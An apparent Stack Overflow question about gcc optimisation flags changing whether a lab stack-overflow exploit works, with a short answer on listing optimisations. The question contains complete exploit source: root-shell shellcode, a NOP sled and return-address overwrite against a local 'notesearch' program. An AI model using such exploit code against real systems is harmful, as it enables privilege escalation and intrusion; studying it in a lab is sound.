Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

gcc: using -O1 and spelling the -O1 options out leads to different result (one works; one doesn't) [duplicate]

When working on stack overflows, I noticed that one only works when I compile it with '-O1'. In order to understand which option is responsible for the difference, I manually entered the -O1 options (taken from the page for my version, which coincides with what I find when checking man gcc on my machine). However, the program then again doesn't work.

I did notice this probably not helpful warning output after compiling with -O1 only:
exploit_notesearch.c:31:10: warning: ignoring return value of ‘system’, declared with attribute warn_unused_result [-Wunused-result].

Any ideas? Someone else pointed the difference out in an old SO question, but it remained unresolved.

Data:
- Ubuntu 12.04
- gcc 4.6.3.
- x86 32 bit
- a C program

Note: as to the overflow working, I already disabled everything known to me that would prevent overflows (canaries, ASLR, execstack, stack alignment).

Code (probably irrelevant for question). This function calls another I could post; but I don't believe it should matter (will upon request):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}
like image 214
gnometorule Avatar asked Nov 02 '22 10:11

gnometorule


1 Answers

You can print out the optimisations that gcc actually uses by running

gcc -Q -O0 --help=optimizers

(or any other optimisation level instead of -O0).

like image 162
creichen Avatar answered Nov 15 '22 06:11

creichen